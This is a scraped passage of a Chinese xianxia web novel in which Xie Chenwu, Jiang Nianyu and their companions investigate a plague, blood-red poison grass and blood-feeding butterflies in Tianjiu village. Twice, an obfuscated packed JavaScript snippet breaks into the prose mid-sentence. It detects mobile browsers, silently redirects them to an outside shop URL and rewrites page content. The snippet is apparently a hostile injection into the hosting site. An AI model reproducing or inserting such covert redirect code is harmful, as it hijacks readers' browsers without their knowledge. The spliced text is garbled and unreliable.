谢尘吾知道这根本是强求不得的,江念与身子弱,又不可能让他明日就生龙活虎起来,但他只是麻木地点着头。 这是他欠父亲的。 “去屋外跪两日。” 谢尘吾默默点了点头,出门下阶,便跪在了青石板上。 也不过两个日夜罢了。 ------------------------------------- 晚月都藏进阴云里去了,谢家主房里的火烛还没熄,只听得轻轻语声,一侍卫走近谢尘吾,口中不咸不淡落下句,“公子可以回去休息了”。 谢尘吾没瞧他一眼,遏制住双腿的颤抖起身,哑着嗓子向微微敞开的房门道:“父亲,我回屋了。” 屋内无人应答,谢尘吾披上个玄色的外衣遮住背上的伤便走了。 夜里的府邸很安静,只听得草丛间虫鸣与侍女细语低声,暖黄色的灯笼挂在空荡无人的廊上,投下圈圈光斑。 微晃的人影失魂落魄般在府中飘荡,披在肩头的外衣在夜风吹拂中露出那人胸口与腰间的斑驳血迹来。 谢尘吾不觉夜凉,只觉得虚汗流了一身,厌恶感同晕眩感逼得他停下脚步,扶柱喘气。 分明他早就疼得有些麻木了,这十鞭对他而言不过儿戏。 “还好么?” 轻轻足音传来,谢尘吾不需回头便认得出江念与。 他会辨认不同人的足音,三年前在虚妄山时,机缘巧合下也曾同人说过这事,那人好巧不巧恰是江念与。 “你伤还未愈,怎么这时候还在外面晃荡……” “托你的福,已经好得差不多了。” 谢尘吾背对着江念与,站定,却没有要回身的意思。 他仅仅披着外衣,前边裸露着,从背后溅至心口与腰间的血迹令他有些狼狈。 “你的伤……” “你怎么知道?” “你身上血腥味太重了……” 江念与扯了谎,也没再多说什么,只向他扔去一小包外敷的药粉,道:“收着吧,江家专门用来治外伤的,比寻常药粉好用得多。伤快些好,才好办正事。” 言罢,江念与转身回屋,轻轻脚步声混在细碎的虫鸣中,不知过了多久,便听不见了。 谢尘吾看着手中的药包,默默无言,冷着脸回了屋。 候着的方青袡见他满面阴云,更是大气不敢出,小心地服侍他沐浴后,也没多问,只接过他扔来的药粉,帮他上药缠布。 “卿序何时到?” “三日后。” 谢尘吾没再说话,只拿起案桌上的一大叠文书看了起来。 这几月,谢地毒草一事已经闹得沸沸扬扬,两年前原家事发后,接连扯出了不少表面同谢家相亲,背地却偷偷制毒的叛贼,谢家大怒,将那些贼人一并灭了个干净。 只是本该于一年前便断干净的毒草一事,怎么又死灰复燃了?谢尘吾心中疑惑,揉了揉眉心,挥手示意方青袡出去。 “公子,注意身子。” 谢尘吾头也不抬,“别和方濋似的……”,“唰啦”翻书声在静得可怕的屋中响得惊人,“你不是这种人,就别硬扮。” 方青袡没再说话,默默退下了。 ------------------------------------- 第二日,谢尘吾又跟没事人一般拉着江念与坐上了马车。 “去添九村。”,谢尘吾同方青袡吩咐完便落下了帷裳。 “那村中有一半的人得了怪病,”,谢尘吾一边垂目养神,一边道,“府中人去探查了几回,说是那处地方生了许多毒草,当地百姓都在传那块地不干净”。 “为何?” “那里……”,谢尘吾睁开眼来,“十六年前是墨门之变的战场,入了添九再向东行几里便到原墨地了,那里过去大抵算是个边境关口。” 谢尘吾一阵恍惚,背上伤隐隐作痛,但他神色未变,只淡淡道:“墨家屠的几座城中就包括添九后头的烽冼城,城中无辜遇难的一万尸骨都埋在添九。用血肉浇灌的地,又能生得出什么干净的东西……” 他突觉额间冷汗涔涔,只是到底忍住了,不动声色地从囊中取出个药丸,咽了下去,才继续道:“战后安顿流民,本无几人愿意到添九去。但为了救济粮,不少人还是不情不愿地迁到了那处,如今出了这事,今后也不知添九还能不能住人……” 江念与把他的一举一动都看在眼里,但谢尘吾不说,江念与也没问。 听闻雷声轻响,江念与撩开钴色的帘,望了望外边阴云满布的天,“恐怕有雨……” 谢尘吾闻言皱了皱眉,他不喜欢烈日当空的艳阳天,汗流浃背的粘腻感会让他心神不宁。但他也极讨厌雨雪天,衣袖总是湿淋淋的,一不小心长衣上便会沾染污泥。 他因雨蹙眉,却不曾想到落雨的添九又将是一副怎样的人间炼狱。 出了烽冼城,那瓢泼大雨便砸向山河,呼啸的狂风卷着地上的断枝残叶拍在疾驰的马车上,泥泞的地面上留下深深的车轱辘印。 到了添九时,雨势更盛,方青袡给谢尘吾打起伞。 迷蒙的雨雾中,依稀可见一些着玄衣的谢家府兵散在村中,皆用面巾遮盖口鼻,那些忙忙碌碌的府兵皆在雨里奔走,仿若行于晴空下,连个斗笠都没戴。 本是方濋给江念与撑伞遮雨,只是谢尘吾接过方青袡的伞拉过了江念与。 于是便成了方濋遮方青袡的局面,其他侍卫可都淋在雨里,他俩自个遮伞终究不合适了些,于是他俩索性把伞递给了一个百姓,也钻入了治病救人的行列中。 “随我来。”,谢尘吾围上面巾,踩着泥水快步向一个屋中走去。 那是个宽敞的屋子,只是在这暴雨下,屋内显得有些昏暗,东北角虽点着几只蜡烛,烛火却在风中不停颤动,仿若下一刻便要熄灭在晦暝中。 屋中充斥着刺鼻的药草味,几个着白衣的谢府医师跪坐在地上,旁边摆了几个草席,席上躺着些百姓。 屋内实在昏暗,江念与看得不清,凑近了些,瞳孔霎时放大。 席上躺着的人,面上生了些肿块,颈上已是血肉模糊,几道疮疤爬在胸脯上,似蛊虫钻入皮肉又破体而出留下的印痕。 江念与还想靠近,却被谢尘吾一把拉住了,只听得谢尘吾沉声道:“不要靠太近,这病会传染。” 一月前,村中有几个百姓莫名其妙地发了病,不是身上生肿块,便是皮肉溃烂,却无人料到这是灾难的开始。 染病的村民愈来愈多,猜疑声也愈来愈大,谢家派了一批又一批人去查看,先是普通医师,后来甚至动用了府内的医师,依旧一头雾水,束手无策。 如今也只是开着药方止血止痛,连发病缘由都不知,何能治本呢? 添九百姓多以为这病同山后生的毒草有关,可古怪便古怪在这了,未曾食用当地野菜毒草的侍卫有些也染上了这病,但这侍卫也只是帮忙迁移百姓的,连直接触碰患者的医师都没事,那些侍卫怎就有事了? 江念与拧紧了眉头,“可有百姓因病去世?” “尚无,”,谢尘吾扫了扫那屋中低声呜咽的村民,“染上这病虽是痛不欲生,但不危及性命……不过也只是时间的问题罢了。” 江念与点点头,这病拖不得,身子还没垮,心便要先死了,于是他道:“带我去看看那片生了毒草的地吧……” 谢尘吾几步出了屋,又把伞给撑开,挡去了屋檐上落下的如帘雨柱。 还不等江念与下阶,谢尘吾便将江念与一下拉了过去,他做事向来雷厉风行,江念与被猛地一扯,一趔趄差点没撞在柱上。 只是还没等他站稳,谢尘吾又迈着大步向前走了。 江念与心中无语,但也没多说什么,只是快步跟了上去,雨珠拍在发髻间,都溅在了衣襟上。 那块地实际上同添九村有些距离,既不挨山也不临溪,周遭也没生什么树,只歪歪扭扭地长满了赤红色的草。 血红色的草生在那荒地里,倒真像人血灌成的,恍惚间令人错觉踏入无间地狱,动弹不得。 耳畔呼啸声不绝,满世风雨像是聚在这方寸之地,掩盖藏于草叶间的丑恶与阴邪,只是浓香不合时宜地飘散过来,美与丑交杂,如在梦中。 迷迷蒙蒙,似乎什么都看得明明白白,又好似什么也看不清。 方青袡已经在那候着了,隔着雨帘,却字字清晰,“医师已经验过了,这确是毒草,但……这草生得如此难看刺眼,不应有那么多百姓误食才对。” 谢尘吾没理会他的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江念与伸了伸左手,活动倒是无有大碍,想来谢尘吾这般讲究的人,不仅衣服毫无皱褶,这布缠得也是工工整整,“我也不使左手剑,无妨。” 谢尘吾没说话,只扭过头去对方青袡吩咐了什么,便将伞递给了江念与,自己闷声踏入了瓢泼大雨中。 谁知他才走几步,又后知后觉地退了回来,对江念与道:“我还要去看看村民的情况,谢家不能让百姓不明不白地死了。” 言罢谢尘吾转过身去,“有事找方濋。” 江念与眼见那厌恶雨雪的公子头也不回地在水帘里疾行,玄衣贴在宽肩阔背上,额侧打湿的发低垂着,冠上落满雨点。 他突然想起谢尘吾背上的伤来,他不知疼么? 耳畔呜咽抽泣声不绝,江念与也无暇寻他,只循着哭喊之声踏入一屋中,尝试着用术法来替村民疗起伤来。 ------------------------------------- 寻不到致病的源头,加上连日暴雨,毒草搜查一事进展缓慢。 风声早已走漏,烽冼城百姓惶惶不安,不愿让添九百姓进城,谢家也怕感染那怪病的人数扩大,只好将烽冼的东大门紧闭。 依照谢尘吾的吩咐,谢家府兵在烽冼城东门前设了处安置添九百姓的营帐,把整个添九的百姓都迁到了那儿去,分染病区和未染病区,还派了三队府兵去管控,而余下的两队府兵则留在添九寻病源。 这会谢尘吾刚刚巡视完营帐,确保救济粮分发到位,江念与便撑着伞走到他身边道:“血蝶群居于深穴中,这处可不会只有一只血蝶。” “我知道。” “那为何不去寻。若不能斩草除根,恐怕添九便要成一处幻境丛生的阴邪之地了,到时何能住人?” “你真的觉得还会有人愿意回添九?” 江念与哑口无言,他未曾想过一场疫病真的能毁掉十几年的乡情。 谢尘吾或许从未想过让添九复原,他自始至终都是破镜难圆的虔诚信徒。 “失去的便要不回了。” 三年前虚妄山试炼,谢尘吾曾如此说过。 无情却有义,江念与从他身上只能读出这五个字。 谢尘吾心中想的惟有寻到病原,给天下个交代,不给谢家抹黑罢了。 诚然,为防百姓心生怨念,抛弃添九再好不过,但终究是舍弃家乡,远走异地,这百姓当真没有一点留恋么? “他们对这没那么重的感情”,谢尘吾见江念与有些发愣,“本就是十六年前被迫迁入的,他们的怨气本就重,难不成还要逼迫他们继续待在这?” 真的是所谓“逼迫”么? “十六年……不短吧?”,江念与知道各地风俗不同,但他依旧觉得不是所有人都似谢尘吾一般,骨子里便带了些淡漠无情的。 若是生了根的地方也是说离开便可离开的,那岂不是每年疫病盛行时都要大批大批地迁移百姓? 谢尘吾盯着江念与那双满是质疑的眸子,却落下句,“别把情绪写脸上。” 他用手背擦了擦脸上的雨痕,“没有归属感的地方,待多久都不算长。” 江念与没说话,只看着他将额前发一股脑全撩到头顶,刀削的轮廓在迷蒙雨雾中留下几抹孤寂的影,凌厉冷冽感拒人千里之外。 只是,谢尘吾向江念与伸出手来,“血蝶之穴我已派方濋寻过了,但添九以北多山,洞穴难寻。你既在意,我带你去看看。” 风起云涌,雨雾空蒙,江念与看着眼前伸出的手,竟一刹动摇。 只是,七尺男儿,手脚尚全,体骨壮健,又非柔柔弱弱女儿家,何须他照顾至此? 他到底没握住谢尘吾的手,只道:“伤的是手,不是腿。你领我去便是”。 谢尘吾没说什么,极自然地将手放下了,领着江念与入了山。 18. 心结 滂沱大雨中,排列齐整的玄衣府兵立得若不随风动的斑竹。公子令不下,纵山崩地裂也方寸不移,这便是谢家玄卫。 江念与在山中摆起阵法,扑闪的灵蝶登时从手心间飞出,散下些灿灿的光来。 “它们自会去寻血蝶巢穴,耐心等着便好。” 这灵蝶是江念与的灵力养出来的,但为了寻血蝶,仅能幻化灵蝶不够,他需要连接灵与血的媒介。 故他昨日才会捏碎那血蝶,将血蝶残余的阴气同自己的血相融合,驱动灵力时便可探寻血蝶踪迹。 “这灵蝶生得和江公子一般好看呢。”,方濋抬头望着那灵蝶散下繁星似的细碎光斑,觉得像是蓬莱仙境才有的东西。 方青袡、谢尘吾、江念与三人听了那话,齐齐回过头去,脸上是不同的景色。 “……这……你们都看我做什么?”,方濋挠了挠头,“话说起来,这么办方便多了,雨大风急时入山总免不了遇见些落石,可危险得很。” “血蝶以血为食,但这村中除了怪病外,并未发生其他无故遇袭之事,又哪来的血养蝴蝶?”,方青袡问道。 江念与摇了摇头,“不知,这毒草一事本就怪异,更别提血蝶了。於眠或许知道些,我对这些东西了解不多。” 顾於眠同许昭安从小到大对些稀奇古怪的东西便颇为感兴趣,许昭安喜欢搜罗四地的奇闻轶事,什么祖辈的恩怨情仇、民间的歌谣传说他都倒背如流、信手拈来。 可惜了这脑筋没用到研究学问上,虚妄山笔试从来都是乱答一通,和那不学无术、高傲自满的白裴驱向来都是争倒数的对手。 而顾於眠虽从小便伶俐聪明,但满门子的心思都扑在如何去深山老林探险去了,成日变着法子去斗尸鬼亡魂,玩心极大,这也让顾家家主顾枫与顾家隐卫操碎了心。 所幸顾於眠生来有过目不忘的本事,这文史笔试向来难不倒他。 然而,本为纨绔少年郎,何来风雅之兴? 虚妄山那会,顾於眠便常在夜里外出寻魑魅魍魉作乐,早晨总一副昏昏欲睡的模样,找到空子趴案桌上睡,可把当时讲学的廉家公子廉遂礼气得不行,用他的话来说便是个‘不成器’的可造之才。 与许昭安不同的是,他对那些祖辈的风流轶事并不感兴趣。 他天性喜欢那些阴邪至极的玩意,什么鬼魅,什么阵法,什么毒草、毒物等都能引起他的兴趣,这趣味显然同“漱雪澄明”背道而驰,连他本人也不知何德何能得此美名。 “那便等他们到了再细谈此事吧……” 谢尘吾抬头望着那些通体雪白,隐隐透明的灵蝶扑翅向深山中飞去,似白珠落入墨盘,起初还熠熠生辉,很快便沾染了污浊,看不见了。 ------------------------------------- 第二日申时前,严卿序和顾於眠如约到了谢地。 只是魏长停因家中事繁,半路便离开了,走的时候紧紧握着严卿序和顾於眠的手,那叫一个难舍难分。 马车停在谢府门口时,江念与和谢尘吾已经站在阶上等着了。 赶了几日,车马劳累,严卿序揉了揉眉心,还缓不过来。 倒是顾於眠高高兴兴地跳下车,三步作两步奔向江念与,一下将江念与搂入怀中,笑得灿烂,“念与,十几日未见,我甚是想你。” 一刹间,似是十里春风撞入怀,暖意融去心头积雪。 “行了啊,别搞得像劫后重逢似的。”,江念与话是这么说,却也没有硬把他的手给扯开,只是任他那么搂着,也笑了。 顾於眠松开手来,又笑看旁侧的谢尘吾,也要伸手去搂,只是谢尘吾闪开了,抱臂道:“别动手动脚。” 顾於眠知他不喜与人接触,于是也只垂手笑道:“尘吾,几日不见,我也甚是想你!” “……”,谢尘吾同他四目相对,说不出一句话来。 但还是淡淡地“嗯……”了一声,才默默移开了目光。 实话说,他总觉得这顾於眠眼底像汪深潭,几乎要溢出的喜色显得并不真切,但知他本性不坏,他也不可能像对魏长停那般劈头盖脸地乱骂一通。 因他应付不来,便有些闪躲。 “这顾公子怎么也生得如此好看……”,方濋瞠目结舌。 这肤白胜雪、面如冠玉的公子往府门前一站,凛冬都开得出花来。 “……”,谢尘吾瞪了方濋一眼,方濋却没察觉。 严卿序这会也从车上下来了,他对江念与和谢尘吾点头笑笑,便道:“信中所说的毒草之事如何了?” “已打点好了,如今添九百姓都迁走了。待你们休整好,便可出发。” “血蝶一事呢?”,顾於眠轻轻抬起江念与的左手,又问,“念与你手怎么了?” 江念与轻轻摇了摇头,“小伤。只是血蝶一事和毒草一事都来得蹊跷,没有什么头绪。” “血蝶乃为世间极阴邪之物,不食花蜜,反嗜血为欢,毒草绝非其食,恐怕这山中藏了人吧?” “藏人?”,谢尘吾皱了皱眉,他觉得顾於眠危言耸听,这说法实在是闻所未闻。 “无人何有血?” “十几年前被活埋的一万添九百姓……不算么?” “尘吾怎会犯这种糊涂,既已知道是十几年前的事了,那些人的白骨都要碎尽了吧?血蝶为了活命,每日都需进食,怎可能还依赖他们的血呢?” “在谢家眼皮底下饲血蝶、植毒草,岂不难如登天?”,严卿序无奈叹了口气,“还真是一朝风动引得四海浪涌。” “先去看过再说吧……怪病一事连个影都没有。” 谢尘吾说着踏下阶去,他总觉得有道尖锐狠戾的目光锁在自己身上,盯得自己浑身不适。 他于是推开遮挡视野的方濋,然而眼前之景却令他瞳孔一瞬颤动。 “方濋……带严公子和顾公子回府中休息。”,谢尘吾声音低沉,如有人扼住喉口。 除了江念与,无人发觉他语气中带着些震颤与极力压制的慌张。 “方青袡,你带江念与去让医师换药。” “好嘞!严公子、顾公子,请随我来!”,方濋笑眯眯地领着严卿序和顾於眠要走,恰江念与和他俩同路,索性五人便一起走了。 只是要绕过回廊前,江念与侧过头瞧了谢尘吾一眼,却只见他一动不动地立在门前,盯着府对面的什么。 江念与没看清,却也猜得到,不觉竟深深叹了一口气。 ------------------------------------- 谢尘吾凝视着不远处瘫坐的人,手心间不知何时已生了层细汗。 花贼不识人情,恰落在乞丐之肩。 那傻子于是忽地立起,追起惊飞的蝶来。 他咧着嘴哈哈笑着,也说不清像不像个失了魂的人。 只是他手脚不停乱摆,各自朝相反方向挥动,一趔趄便摔了个狗啃泥。 他整个人都趴在泥泞的地上,污物沾了满脸。 那乱糟糟的头发披散着,其间还混杂着些草叶,这会更粘上了些脏土。 许是摔得有些疼了,他的身子开始不住颤抖,呜咽声从喉底传出,又入了谢尘吾的耳,像是绝望中的悲语,断断续续,听得不全。 只是他坐了起来,又哭又笑,盯着满是沙土的五指,突地哇哇叫了几声。 继而他连滚带爬地回到了方才待着的墙角,蜷缩起瘦削的躯体,脸都埋在了臂弯间。 “公子……”,门前侍卫见他盯着那乞丐看,以为他是怒了,“要不我们去……” 话还没说完,谢尘吾冷冷的目光便落在了他们的身上,几人一刹皆如履薄冰,闭口屏息。 谢尘吾缓缓走近原衡文。 几步之遥而已,却若走了数十个时辰似的,每走一步,他便觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775678|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得心底一沉,待立于他面前时,谢尘吾的心已然埋在了深雪里。 他蹲了下来,衣摆都垂在泥里。 他轻轻放下一袋还热着的点心,没有抬头,两人靠得很近,但四目却未相对,已经不知是谁的眼神在闪躲了。 谢尘吾很快地起身,又转了个方向朝府门走去,仿若在躲避什么,像极了落荒而逃的亡命徒。 他听见背后原衡文拿到点心后欣喜若狂的嘻嘻笑声,耳畔又传来“嘶啦”扯开纸袋的声音,原衡文愈是着急迫切地将那点心塞入口中,谢尘吾愈是觉得耳内轰鸣。 几近窒息之感无形化有形,都压在了他的背上。 他被长鞭抽打出的伤疼得厉害,于是不觉愈走愈快,像是犯了什么大错般疾步入府,又奔向自己的屋子,关紧门,背倚墙壁滑下,瘫坐于地,大喘粗气。 谢尘吾觉得背上的伤口裂开了,他浅色的眸子中染上了些氤氲水汽,只是眨了眨眼,寒意又渗了出来。 “自作自受……” 真的是自作自受吗? 他觉得心神不宁,那些不该属于他的情绪最终都成了莫名的怒火。 他拿起罹难剑便自后门疾步到了府外的竹林中。 谢尘吾重重踩在地上,挥起剑便向眼前狠狠劈去,锋利的刀刃削骨如泥,这青竹何能承受? 先是眼前的竹子倒下了,继而凛凛剑气又波及了周遭的竹,只一剑便令竹叶漫天翻飞,又一刹碎成了握不住的粉尘。 谢尘吾向来以剑快闻名,而现在,他觉得不够快,还不够快! 还不足以快到让他忘却那些扰人的俗事。 于是他发了疯般在树林里挥剑,留下一道道虚影与一片片倒下的竹。 “尘吾!”,他听见原衡文在唤他。 “尘吾,我们赛马吧?我可是在马背上长大的,可不会让你!” “尘吾,今日许多女子向我投桃,我是又羞又怕。这不,讪讪跑回来了。若是你,怕也不知道如何是好吧?” 剑更快了,谢尘吾回身将剑砍在一株拳头粗的竹上,下一刻那竹便断成了几截,落了一地。 他又回身狠劈,谁知只听得刀刃相交之声,罹难剑在另一长剑的阻挡下停在了半空。 谢尘吾如梦初醒,猛然抬头,严卿序的脸已近在咫尺之间。 谢尘吾一惊,便要放下剑来。 谁知严卿序却道:“尘吾,和我比试一场吧。” 谢尘吾闻言,片刻犹疑,却勾了勾唇,又重新握紧了剑。 霎时间,他对着严卿序便是一顿猛击,他出剑之快至今无人能比,一会向左一会往右,总能将对手逼得无路可退。 只是如今站在对面的是严卿序,严卿序剑不如他快,但胜在又准又狠,只几剑下来,便破了谢尘吾不间断的进攻之策。 青绿竹林间,在刀光剑影中倒下的竹子愈来愈多,散落一地的叶铺成了翠色的小径。 最后几剑,严卿序向谢尘吾的臂膀刺去,谢尘吾一刹闪躲不开,焚痕便挂上了肩,在脖颈边停了下来。 谢尘吾放下剑来,笑了,“我输了。” 他不在乎输赢,只觉得输得痛快。 严卿序将剑收进鞘中,温和道:“习武时分心可要走火入魔的,尘吾。” 他轻轻帮谢尘吾拍落衣裳上的竹叶,“我知你有心事,但物极必反,别逼自己逼得太狠了。” 谢尘吾没有应话,只是半垂着眸子,盯着那地上乱叶看。 严卿序也没再多言,只静静地陪他站着,看那青翠的竹抽出的嫩绿新芽,看那林雀在树梢跳跃。 半晌,谢尘吾终于应道:“谁有心事了?”,言罢抬脚便朝府中走。 严卿序轻轻摇了摇头,也笑着跟了上去。 “明日有客来。” “嗯?” “别问,我也不知是谁。” 严卿序无奈耸耸肩,笑道:“好好好,那便不问!” 19. 吟离 添九的雨渐渐地没了声息,湿漉漉的空气里剩下的都是泥土混杂草叶的气味。 四人站在添九村的时候,村里空荡荡的,谢家府兵都到山中去了,百姓也都迁走了,雨后的添九在烂泥与落叶中显得很寂寥。 许多歪斜的屋中还残余着草药的味道,同淡淡的血腥味融在一起,像是劫后余生的伤患,泡在药罐里,却也不知何时才能够拨云见日。 “那些染了病的百姓如何了?”,严卿序推开一个血迹斑斑的木门,面上带着些忧虑。 “已经安顿好了,只是寻不到发病缘由,也无良药可医,”,谢尘吾蹙起眉,“谢家几日前已经派人去百权找沈家借人了。” 严卿序点点头,“沈家若能助我们一臂之力,应该会好办得多。” 百权沈家自古以医术高妙而闻名于世,先不提所谓的起死复生传闻,只看沈家几十年甚而几百年行医救人的文书,都可知沈家医术在十五族中是如何一骑绝尘。 但百权尚武,沈家也必然不是个柔弱医师家。 沈家现任家主沈望延便是个崇武至极的人物,他为人严苛冷漠,其长子沈吟离便是在他父亲的威压下长大的。 只是沈吟离除了剑术随了他父亲以外,便无哪处同他父亲相似的。他性子极为柔软,待人温和,不似他父亲那般暴躁易怒。 但,无论如何,沈大家主可没反对沈吟离同萧大公子萧暮然的感情,也算是在风月事上放了他一马。 四人顺着小径走了一会便至那块毒草丛生的地方。 顾於眠蹲下细瞧那些还挂着雨珠的草,刺目的血红上氤氲着层薄薄水汽,使得那赤色并不那么阴邪。 他拨开草丛,指间蓝光荧荧,纤指握住草根,稍一用力,一株草便被连根拔起了。 根同草一般长,上面还缠着些被浸染成血色的泥土。 “暮海棠,色鲜如血,可制毒蛊,可饲死尸,以之为食,致幻造仆,为己所用,”,顾於眠盯着那草又仔仔细细地看了一遍,“不是什么至阴至邪的毒草,连世间五大毒草都入不了。” 然而这话说完,顾於眠自己竟先一愣,步凄晚那张冷冽的面容又挤入脑海中。 禮间步家究竟为何种毒草?是卖给他人,还是为己所用? “村中那怪病与这毒草无关,”,顾於眠耸了耸肩,“这草不会致病,只是为何生在此地还需探查。暮海棠只能人种,不可自然生长,每月都得以人血灌溉一次。但……许是量少,不易被察觉。” 谢尘吾见他一通说下来不动声色,波澜未惊,惟有最后一句来得意味深长,于是冷笑一声,“你这是觉得这毒草是我们的人种的?还是觉得谢家无能,连这么大的事都没察觉?” 顾於眠无奈地摇了摇头,笑得有些苦涩,“尘吾多虑了,我是在想,这好几亩的暮海棠生得如此繁茂,究竟是多少人的命换来的。” “你能不能收收你那招人嫌的猜忌心?”,江念与见他阴阳怪气,多少有些不满,“都什么时候了,还嫌不够乱么?” 谢尘吾冷着脸侧过身去,他向来不是个好脾气的公子,然后才吐出几个字来,“反正不是谢地的人,我们这可不若许地,每户新添几人或死了几人都明明白白记在户册上,可没有无故身亡的。” 严卿序见气氛不对,轻轻叹了口气,依旧温和,“於眠对这病可有头绪?这病既可染至谢家府兵身上,而不染至医师身上,便不是触之即染的。” 严卿序说着瞥了瞥那远处淌着的小溪,“恐怕不是食物便是水源出了问题。” “和吃食没关系,谢家府兵自带粮,添九百姓也是自家吃自家的粮,”,谢尘吾同样望向那清澈的溪,“村中有井,但早已派人查过了,井水无毒。只是那溪流未穿村而过,没有来得及查。” 谢尘吾说完这话,瞥了一旁的方青袡一眼,方青袡于是点头离开。 “那血蝶如何了?” “我派的灵蝶还没回来。一般不该如此久的……” “那便再等等吧,我们先解决眼前这俩烂摊子先。”,顾於眠起身,拍了拍蹲得有些发麻的腿,回身对谢尘吾笑道,“尘吾,这草我带回去再好好瞧瞧,有什么发现再同你说。” 谢尘吾轻轻点点头,也没和他对上目光。 他觉得浑身不适,不知何处似乎总有双眼睛在盯着自己,寒意入骨,胜似冬江雪。 但薄雾隐隐约约,他看得不清,玄衣的侍卫分明把周遭都围了起来,又何来这难耐的感觉? 谢尘吾揉了揉眉心,什么也没说。 只是,山深处,暗穴中,血水从嶙峋的顶部滴落在凹凸不平的石面上,发出叮叮咚咚的清脆响声。 一身形高挑者立于终日不见光的阴影中,冷冷地捏碎了扑闪的灵蝶。 密密麻麻的血蝶正附在一刚断气没多久的男人身上,吮吸鲜血。 那人一挥手,赤色的蝶便惊飞而起,将一大群涌入的灵蝶都吞入了腹中。 “做梦。” 那人冷冷地落下两个没头没尾的字,转身又向更深处走去。 从喉底发出的咕噜声伴着挣扎挪动的声音,在他耳畔绕着圈,蜷缩在角落的人手里捧着被割断的舌头,妄想着还有重新接上的一天。 他踩着瘫倒在地的人向前走,不经意便踩碎了说不上名姓的、如同畜牲般在地上匍匐的人的脊柱,血从那可怜人的口中喷了出来。 那些赤色的蝶于是又蜂拥而上,今日又加了餐。 ------------------------------------- 方青袡办事向来利落,不到一个时辰,便出了结果。 溪水果然不干净,只是那不知是什么毒混在水中,无色无味,根本不能得出什么结论。 “还是得循溪流入山看看。”,严卿序站在添九一座府邸的大门前,仰头望着府门上高挂的“谢”字牌匾。 这府邸原是守关的谢家官住的地方,后来墨地划了一部分入谢地,边境线东移,这关卡自然而然地废掉了,府邸也空了出来。 如今府兵简单打扫过,谢尘吾等人为了调查方便些,便住了进去。 谢尘吾点了点头,“我还得去烽冼城门去看看添九百姓,”,他见府邸内有些侍女在洒扫庭院,有些分了神,喉结微微滚动,“昨日有两个百姓耐不住疼,自尽了……” 几人听了,都没再说话。 萧萧叶落声跨越群山传来,入夏后的清爽与花繁的绚烂迟迟不至,淅沥的雨中夹杂的都是低沉的叹息。 顾於眠在阶上坐了下来,他抬头便可看见木雕的柱上留下的斑驳刀痕。 十六年前那兵戈抢攘的时岁,添九百姓便是在血海里寻命,寻不到的都被活埋进了黑黢黢的深坑里。 不能再让他们受难了,说得容易,真要做起来又谈何容易? 说来惭愧,顾於眠本不是个一心为家国天下的人,甚而自己最强烈的要护百姓无灾无难的想法,还是极自私的生于无边的惭愧与悔恨中。 生于他人梦,便要自己的梦让位。 替一人活着,谈何容易? 陆倾行是个至仁至善之辈,连他最大的心愿都是——“天下方寸无烽火,山河四地皆太平”。 他怎么可能代替得了陆倾行? 他不是不愿盛世永驻,只是……太难了。 四地愈来愈乱,每当他威逼自己去化解一切厄难,他便愈是清晰地看见自己的无能,他不能救每一个人。 或许他只能救几个人,或许他一个人都救不了。 这同他以往“能救一个算一个”的想法可谓是背道而驰,但……这不是陆倾行想要的。 因而他彻夜彻夜睡在虚无的梦里,却醒在真实的人世间。 无眠,不仅仅是受梦魇的侵扰,还有他寻不到尽头的负罪感。 “怎么了?”,严卿序见顾於眠坐在阶上一动不动,双目无光,有些担心地将一只手轻轻抚在他的肩上。 顾於眠摇了摇头,浅浅勾唇笑道:“暮海棠可用来炼尸为兵,也能以毒攻毒,制药救人,,我想不通他们种这毒草来做什么。” “不要为难自己,尚无凭据之事,哪能如此容易就能道破天机?”,严卿序听了那话似乎松了口气,“只是……炼尸为兵可是大忌,若有人胆敢为此事,恐怕十五族得将那人千刀万剐。” “若是那人就在十五族内呢?若不是一人,而是一族呢?”,谢尘吾冷笑道,“如今十五族都摇旗高呼‘绝不姑息胆敢作乱者’,但水落石出那天,又会是什么光景?” “喂……”,江念与低低唤了声,想让他住嘴。 然而谢尘吾只当没听见,依旧对着严卿序讽道:“十五族早便是辅车相依,其中种种本就是是难舍难分。你呢?兵戈相见你怕么?割恩断义你敢么?到了那时,还能口口声声为天下太平的才是真英雄吧?” 严卿序的笑容中掺进些苦涩,“尘吾,谨言慎行。” 严卿序不是没有想过这事,自小他父亲教与他的,便是要早做打算,思虑周密。 因而,尽管残酷,但苍巡尚未开始时他便在思索如何行事了。 他想,若是叛贼是十五族内他该如何,若是叛贼是挚友他该如何,若是叛贼是至亲,他又该如何。 “眼前事都没解决,你们愁后事做什么?”,江念与皱眉听过三人低沉的对话,只觉几人都消极过了头,“沈家派的人该到了吧?” “去营帐看看便知道了。”,谢尘吾用白布细细擦拭着罹难剑,又瞥了严卿序一眼,冷笑一声。 “犹疑什么?无论叛贼是何人,胆敢作乱,杀无赦便是。” 他那双眸子中又倾洒出孤冷与傲慢来。 无情却有义——谢尘吾从始至终都没变过。 江念与的剑眉拧的更紧了,大义灭亲也能不眨一眼的人向来不是个值得同行的人,赢得了青史美名,却注定在人情世故上输得一败涂地。 何必管他人事。 江念与摇摇头,又移开了目光。 ------------------------------------- 还未走入营帐,低低的抽泣与痛苦难耐下发出的沉闷吼声便像把利刃刺入顾於眠耳中。 他在信中已经了解到添九百姓所遭受之事,只是耳闻从来没有目见来得惊心。 浓郁的草药味同血腥味掺合在一起,幽幽地飘散在营帐周围。 白衣的医师在不同帐间匆忙穿梭,额间都生了层密密细汗,白衣拖在泥地上沾染尘泥。 老一辈的谢府医师向来讲究 